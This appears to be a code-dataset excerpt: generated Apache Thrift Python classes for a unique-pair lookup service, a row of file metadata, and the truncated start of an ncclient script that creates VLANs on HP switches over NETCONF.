oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('add_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(add_result) add_result.thrift_spec = ( (0, TType.STRUCT, 'success', [TUniquepair, None], None, ), # 0 (1, TType.STRUCT, 'e', [TUniquepairAlreadyExistsException, None], None, ), # 1 ) class remove_args(object): """ Attributes: - uniquepair_id """ def __init__(self, uniquepair_id=None,): self.uniquepair_id = uniquepair_id def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.I32: self.uniquepair_id = iprot.readI32() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('remove_args') if self.uniquepair_id is not None: oprot.writeFieldBegin('uniquepair_id', TType.I32, 1) oprot.writeI32(self.uniquepair_id) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(remove_args) remove_args.thrift_spec = ( None, # 0 (1, TType.I32, 'uniquepair_id', None, None, ), # 1 ) class remove_result(object): """ Attributes: - e """ def __init__(self, e=None,): self.e = e def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRUCT: self.e = TUniquepairNotFoundException() self.e.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('remove_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(remove_result) remove_result.thrift_spec = ( None, # 0 (1, TType.STRUCT, 'e', [TUniquepairNotFoundException, None], None, ), # 1 ) class find_args(object): """ Attributes: - domain - first_elem - second_elem """ def __init__(self, domain=None, first_elem=None, second_elem=None,): self.domain = domain self.first_elem = first_elem self.second_elem = second_elem def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRING: self.domain = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString() else: iprot.skip(ftype) elif fid == 2: if ftype == TType.I32: self.first_elem = iprot.readI32() else: iprot.skip(ftype) elif fid == 3: if ftype == TType.I32: self.second_elem = iprot.readI32() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('find_args') if self.domain is not None: oprot.writeFieldBegin('domain', TType.STRING, 1) oprot.writeString(self.domain.encode('utf-8') if sys.version_info[0] == 2 else self.domain) oprot.writeFieldEnd() if self.first_elem is not None: oprot.writeFieldBegin('first_elem', TType.I32, 2) oprot.writeI32(self.first_elem) oprot.writeFieldEnd() if self.second_elem is not None: oprot.writeFieldBegin('second_elem', TType.I32, 3) oprot.writeI32(self.second_elem) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(find_args) find_args.thrift_spec = ( None, # 0 (1, TType.STRING, 'domain', 'UTF8', None, ), # 1 (2, TType.I32, 'first_elem', None, None, ), # 2 (3, TType.I32, 'second_elem', None, None, ), # 3 ) class find_result(object): """ Attributes: - success - e """ def __init__(self, success=None, e=None,): self.success = success self.e = e def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.STRUCT: self.success = TUniquepair() self.success.read(iprot) else: iprot.skip(ftype) elif fid == 1: if ftype == TType.STRUCT: self.e = TUniquepairNotFoundException() self.e.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('find_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(find_result) find_result.thrift_spec = ( (0, TType.STRUCT, 'success', [TUniquepair, None], None, ), # 0 (1, TType.STRUCT, 'e', [TUniquepairNotFoundException, None], None, ), # 1 ) class all_args(object): """ Attributes: - domain """ def __init__(self, domain=None,): self.domain = domain def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRING: self.domain = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('all_args') if self.domain is not None: oprot.writeFieldBegin('domain', TType.STRING, 1) oprot.writeString(self.domain.encode('utf-8') if sys.version_info[0] == 2 else self.domain) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(all_args) all_args.thrift_spec = ( None, # 0 (1, TType.STRING, 'domain', 'UTF8', None, ), # 1 ) class all_result(object): """ Attributes: - success """ def __init__(self, success=None,): self.success = success def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.LIST: self.success = [] (_etype31, _size28) = iprot.readListBegin() for _i32 in range(_size28): _elem33 = TUniquepair() _elem33.read(iprot) self.success.append(_elem33) iprot.readListEnd() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('all_result') if self.success is not None: oprot.writeFieldBegin('success', TType.LIST, 0) oprot.writeListBegin(TType.STRUCT, len(self.success)) for iter34 in self.success: iter34.write(oprot) oprot.writeListEnd() oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(all_result) all_result.thrift_spec = ( (0, TType.LIST, 'success', (TType.STRUCT, [TUniquepair, None], False), None, ), # 0 ) class filter_by_first_elem_args(object): """ Attributes: - domain - first_elem """ def __init__(self, domain=None, first_elem=None,): self.domain = domain self.first_elem = first_elem def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRING: self.domain = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString() else: iprot.skip(ftype) elif fid == 2: if ftype == TType.I32: self.first_elem = iprot.readI32() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('filter_by_first_elem_args') if self.domain is not None: oprot.writeFieldBegin('domain', TType.STRING, 1) oprot.writeString(self.domain.encode('utf-8') if sys.version_info[0] == 2 else self.domain) oprot.writeFieldEnd() if self.first_elem is not None: oprot.writeFieldBegin('first_elem', TType.I32, 2) oprot.writeI32(self.first_elem) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(filter_by_first_elem_args) filter_by_first_elem_args.thrift_spec = ( None, # 0 (1, TType.STRING, 'domain', 'UTF8', None, ), # 1 (2, TType.I32, 'first_elem', None, None, ), # 2 ) class filter_by_first_elem_result(object): """ Attributes: - success """ def __init__(self, success=None,): self.success = success def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.LIST: self.success = [] (_etype38, _size35) = iprot.readListBegin() for _i39 in range(_size35): _elem40 = TUniquepair() _elem40.read(iprot) self.success.append(_elem40) iprot.readListEnd() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('filter_by_first_elem_result') if self.success is not None: oprot.writeFieldBegin('success', TType.LIST, 0) oprot.writeListBegin(TType.STRUCT, len(self.success)) for iter41 in self.success: iter41.write(oprot) oprot.writeListEnd() oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(filter_by_first_elem_result) filter_by_first_elem_result.thrift_spec = ( (0, TType.LIST, 'success', (TType.STRUCT, [TUniquepair, None], False), None, ), # 0 ) class filter_by_second_elem_args(object): """ Attributes: - domain - second_elem """ def __init__(self, domain=None, second_elem=None,): self.domain = domain self.second_elem = second_elem def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRING: self.domain = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString() else: iprot.skip(ftype) elif fid == 2: if ftype == TType.I32: self.second_elem = iprot.readI32() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('filter_by_second_elem_args') if self.domain is not None: oprot.writeFieldBegin('domain', TType.STRING, 1) oprot.writeString(self.domain.encode('utf-8') if sys.version_info[0] == 2 else self.domain) oprot.writeFieldEnd() if self.second_elem is not None: oprot.writeFieldBegin('second_elem', TType.I32, 2) oprot.writeI32(self.second_elem) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(filter_by_second_elem_args) filter_by_second_elem_args.thrift_spec = ( None, # 0 (1, TType.STRING, 'domain', 'UTF8', None, ), # 1 (2, TType.I32, 'second_elem', None, None, ), # 2 ) class filter_by_second_elem_result(object): """ Attributes: - success """ def __init__(self, success=None,): self.success = success def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.LIST: self.success = [] (_etype45, _size42) = iprot.readListBegin() for _i46 in range(_size42): _elem47 = TUniquepair() _elem47.read(iprot) self.success.append(_elem47) iprot.readListEnd() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('filter_by_second_elem_result') if self.success is not None: oprot.writeFieldBegin('success', TType.LIST, 0) oprot.writeListBegin(TType.STRUCT, len(self.success)) for iter48 in self.success: iter48.write(oprot) oprot.writeListEnd() oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(filter_by_second_elem_result) filter_by_second_elem_result.thrift_spec = ( (0, TType.LIST, 'success', (TType.STRUCT, [TUniquepair, None], False), None, ), # 0 ) class count_first_elem_args(object): """ Attributes: - domain - first_elem """ def __init__(self, domain=None, first_elem=None,): self.domain = domain self.first_elem = first_elem def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRING: self.domain = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString() else: iprot.skip(ftype) elif fid == 2: if ftype == TType.I32: self.first_elem = iprot.readI32() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('count_first_elem_args') if self.domain is not None: oprot.writeFieldBegin('domain', TType.STRING, 1) oprot.writeString(self.domain.encode('utf-8') if sys.version_info[0] == 2 else self.domain) oprot.writeFieldEnd() if self.first_elem is not None: oprot.writeFieldBegin('first_elem', TType.I32, 2) oprot.writeI32(self.first_elem) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(count_first_elem_args) count_first_elem_args.thrift_spec = ( None, # 0 (1, TType.STRING, 'domain', 'UTF8', None, ), # 1 (2, TType.I32, 'first_elem', None, None, ), # 2 ) class count_first_elem_result(object): """ Attributes: - success """ def __init__(self, success=None,): self.success = success def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.I32: self.success = iprot.readI32() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('count_first_elem_result') if self.success is not None: oprot.writeFieldBegin('success', TType.I32, 0) oprot.writeI32(self.success) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(count_first_elem_result) count_first_elem_result.thrift_spec = ( (0, TType.I32, 'success', None, None, ), # 0 ) class count_second_elem_args(object): """ Attributes: - domain - second_elem """ def __init__(self, domain=None, second_elem=None,): self.domain = domain self.second_elem = second_elem def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 1: if ftype == TType.STRING: self.domain = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString() else: iprot.skip(ftype) elif fid == 2: if ftype == TType.I32: self.second_elem = iprot.readI32() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('count_second_elem_args') if self.domain is not None: oprot.writeFieldBegin('domain', TType.STRING, 1) oprot.writeString(self.domain.encode('utf-8') if sys.version_info[0] == 2 else self.domain) oprot.writeFieldEnd() if self.second_elem is not None: oprot.writeFieldBegin('second_elem', TType.I32, 2) oprot.writeI32(self.second_elem) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(count_second_elem_args) count_second_elem_args.thrift_spec = ( None, # 0 (1, TType.STRING, 'domain', 'UTF8', None, ), # 1 (2, TType.I32, 'second_elem', None, None, ), # 2 ) class count_second_elem_result(object): """ Attributes: - success """ def __init__(self, success=None,): self.success = success def read(self, iprot): if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None: iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec]) return iprot.readStructBegin() while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP: break if fid == 0: if ftype == TType.I32: self.success = iprot.readI32() else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot._fast_encode is not None and self.thrift_spec is not None: oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec])) return oprot.writeStructBegin('count_second_elem_result') if self.success is not None: oprot.writeFieldBegin('success', TType.I32, 0) oprot.writeI32(self.success) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L = ['%s=%r' % (key, value) for key, value in self.__dict__.items()] return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ def __ne__(self, other): return not (self == other) all_structs.append(count_second_elem_result) count_second_elem_result.thrift_spec = ( (0, TType.I32, 'success', None, None, ), # 0 ) fix_spec(all_structs) del all_structs
33.426011
134
0.588977
7,068
65,281
5.169921
0.028297
0.030048
0.028078
0.023152
0.930544
0.913412
0.898744
0.885225
0.864673
0.848964
0
0.007852
0.309386
65,281
1,952
135
33.443135
0.802657
0.022013
0
0.83944
1
0
0.037025
0.004467
0
0
0
0
0
1
0.116589
false
0.005996
0.00533
0.035976
0.22052
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
9427574db88840f97658c978a59ed5f0b49702c9
142
py
Python
tests/test_compound_wires.py
araghukas/nwlattice
443d0a000c2b68cd99070245eede032e912c1a40
[ "MIT" ]
1
2020-11-23T01:00:34.000Z
2020-11-23T01:00:34.000Z
tests/test_compound_wires.py
araghukas/nwlattice
443d0a000c2b68cd99070245eede032e912c1a40
[ "MIT" ]
null
null
null
tests/test_compound_wires.py
araghukas/nwlattice
443d0a000c2b68cd99070245eede032e912c1a40
[ "MIT" ]
null
null
null
""" TODO: - does the last plane fit the first plane? """ def is_periodic(wire) -> bool: return wire.planes[0].fits(wire.planes[-1])
15.777778
47
0.633803
22
142
4.045455
0.772727
0.224719
0
0
0
0
0
0
0
0
0
0.017544
0.197183
142
8
48
17.75
0.763158
0.366197
0
0
0
0
0
0
0
0
0
0.125
0
1
0.5
false
0
0
0.5
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
1
0
0
0
1
1
0
0
7
947640153e954d0d2bf2942d9fa660df841ef86d
2,635
py
Python
core/data_viewmodels.py
ClairBerlin/managair
44af9f73039ecdb7dd959dacda5470a103795ac3
[ "BSD-3-Clause" ]
4
2020-11-22T17:07:14.000Z
2020-11-26T07:53:08.000Z
core/data_viewmodels.py
ClairBerlin/managair
44af9f73039ecdb7dd959dacda5470a103795ac3
[ "BSD-3-Clause" ]
18
2020-12-04T07:48:13.000Z
2022-01-26T18:09:33.000Z
core/data_viewmodels.py
ClairBerlin/managair
44af9f73039ecdb7dd959dacda5470a103795ac3
[ "BSD-3-Clause" ]
1
2021-01-15T10:41:33.000Z
2021-01-15T10:41:33.000Z
from datetime import datetime class NodeTimeseriesListViewModel: def __init__( self, pk, node_alias: str, sample_count: int, query_timestamp_s: int = round(datetime.now().timestamp()), from_timestamp_s: int = 0, to_timestamp_s: int = round(datetime.now().timestamp()), ): self.pk = pk self.node_alias = node_alias self.sample_count = sample_count self.query_timestamp_s = query_timestamp_s self.from_timestamp_s = from_timestamp_s self.to_timestamp_s = to_timestamp_s class JSONAPIMeta: resource_name = "node-timeseries" class NodeTimeseriesViewModel(NodeTimeseriesListViewModel): def __init__( self, pk, node_alias: str, samples, query_timestamp_s: int = round(datetime.now().timestamp()), from_timestamp_s: int = 0, to_timestamp_s: int = round(datetime.now().timestamp()), ): super().__init__( pk=pk, node_alias=node_alias, sample_count=len(samples), query_timestamp_s=query_timestamp_s, from_timestamp_s=from_timestamp_s, to_timestamp_s=to_timestamp_s, ) self.samples = samples class InstallationTimeseriesListViewModel: def __init__( self, pk, node_id, node_alias: str, sample_count: int, query_timestamp_s: int = round(datetime.now().timestamp()), from_timestamp_s: int = 0, to_timestamp_s: int = round(datetime.now().timestamp()), ): self.pk = pk self.node_id = node_id self.node_alias = node_alias self.sample_count = sample_count self.query_timestamp_s = query_timestamp_s self.from_timestamp_s = from_timestamp_s self.to_timestamp_s = to_timestamp_s class JSONAPIMeta: resource_name = "installation-timeseries" class InstallationTimeseriesViewModel(InstallationTimeseriesListViewModel): def __init__( self, pk, node_id, node_alias: str, samples, query_timestamp_s: int = round(datetime.now().timestamp()), from_timestamp_s: int = 0, to_timestamp_s: int = round(datetime.now().timestamp()), ): super().__init__( pk=pk, node_id=node_id, node_alias=node_alias, sample_count=len(samples), query_timestamp_s=query_timestamp_s, from_timestamp_s=from_timestamp_s, to_timestamp_s=to_timestamp_s, ) self.samples = samples
29.606742
75
0.618596
293
2,635
5.139932
0.116041
0.239044
0.119522
0.095618
0.89907
0.89907
0.89907
0.89907
0.84595
0.84595
0
0.002158
0.296395
2,635
89
76
29.606742
0.81014
0
0
0.860759
0
0
0.014416
0.008725
0
0
0
0
0
1
0.050633
false
0
0.012658
0
0.139241
0
0
0
0
null
1
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
84793756ae99b3e0fb5f3ba915e3eccdfe31a0f5
4,887
py
Python
webservice/netconfnc/create_vlan_nc.py
galenothiago/switch-automation
91d5494425e4d5dd00d2387631cd2983cfca51a2
[ "MIT" ]
null
null
null
webservice/netconfnc/create_vlan_nc.py
galenothiago/switch-automation
91d5494425e4d5dd00d2387631cd2983cfca51a2
[ "MIT" ]
null
null
null
webservice/netconfnc/create_vlan_nc.py
galenothiago/switch-automation
91d5494425e4d5dd00d2387631cd2983cfca51a2
[ "MIT" ]
1
2020-12-13T12:19:29.000Z
2020-12-13T12:19:29.000Z
#!/bin/python import json import requests from ncclient import manager from config.settings import DEVICE_PARAMS def create_vlan(ip, user, password, port_link_type, dados_vlan): device_kargs = {'port': 830, 'hostkey_verify': False, 'allow_agent': False, 'look_for_keys': False, 'device_params': DEVICE_PARAMS} device_kargs['host'] = ip device_kargs['username'] = user device_kargs['password'] = password if (port_link_type) == '1': # Access xml_create_vlan = ''' <nc:config xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0"> <top xmlns="http://www.hp.com/netconf/config:1.0"> <VLAN> <VLANs> <VLANID> <ID>{number_of_vlan}</ID> <Description>{description_of_vlan}</Description> <Name>{name_of_vlan}</Name> </VLANID> </VLANs> </VLAN> </top> </nc:config> '''.format(number_of_vlan=dados_vlan[1], description_of_vlan=dados_vlan[2], name_of_vlan=dados_vlan[0]) with manager.connect(**device_kargs) as netconf_manager: netconf_manager.edit_config( target='running', config=xml_create_vlan, default_operation='merge') elif (port_link_type) == '3': # Tagged xml_create_vlan = ''' <nc:config xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0"> <top xmlns="http://www.hp.com/netconf/config:1.0"> <VLAN> <VLANs> <VLANID> <ID>{number_of_vlan}</ID> <Description>{description_of_vlan}</Description> <Name>{name_of_vlan}</Name> </VLANID> </VLANs> </VLAN> </top> </nc:config> '''.format(number_of_vlan=dados_vlan[0][1], description_of_vlan=dados_vlan[0][2], name_of_vlan=dados_vlan[0][0]) with manager.connect(**device_kargs) as netconf_manager: netconf_manager.edit_config( target='running', config=xml_create_vlan, default_operation='merge') for tag_vlans in (dados_vlan[1]): xml_create_vlan = ''' <nc:config xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0"> <top xmlns="http://www.hp.com/netconf/config:1.0"> <VLAN> <VLANs> <VLANID> <ID>{number_of_vlan}</ID> <Description>{description}</Description> <Name>{name}</Name> </VLANID> </VLANs> </VLAN> </top> </nc:config> '''.format(number_of_vlan=tag_vlans['vid'], 